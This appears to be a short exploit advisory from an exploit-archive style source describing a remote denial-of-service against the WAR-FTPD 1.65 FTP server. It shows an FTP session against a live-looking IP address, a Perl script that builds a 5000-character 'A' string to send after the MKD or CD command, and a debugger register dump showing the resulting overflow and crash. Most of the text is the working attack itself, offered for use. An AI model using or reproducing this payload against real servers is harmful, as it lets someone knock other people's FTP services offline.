WAR-FTPD 1.65 (MKD & CD) requests Remote Denial of Service exploited by opt!x hacker mail: optix@9.cn greetz to his0k4 about : http://securityreason.com/exploitalert/6971 you have to connect to target server from cmd like that: i sended it with perl and python scripts but it's not working because im beginner in remotes ############################################################ Microsoft Windows XP [version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\Documents and Settings\Administrateur>ftp ftp> open Vers 5.237.109.181 21 Connecté à 5.237.109.181. 220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready 220 Please enter your user name. Utilisateur (5.237.109.181:(none)) : root 331 User name okay, Need password. Mot de passe : 230 User logged in, proceed. ftp> MKD A x 5000 or cd A x 5000 ########################################################## you have to execute this perl script then put his content after MKD or CD __________________________________________________________________ my $crash= "A" x 5000; open(c,">>denial.txt"); print c $crash; print "[+] Done !! [+]"; close(c); _________________________________________________________________ then olly is executed because im working with this option : just in time debugger ########################################################################### #################""" EAX 41414141 ECX 008EEC18 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA EDX 008E0278 EBX 008E0000 ESP 00B2F538 EBP 00B2F758 ESI 008EEC10 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA EDI 41414141 EIP 7C9211DE ntdll.7C9211DE ########################################################################### ##################""" and programm will be crashed :)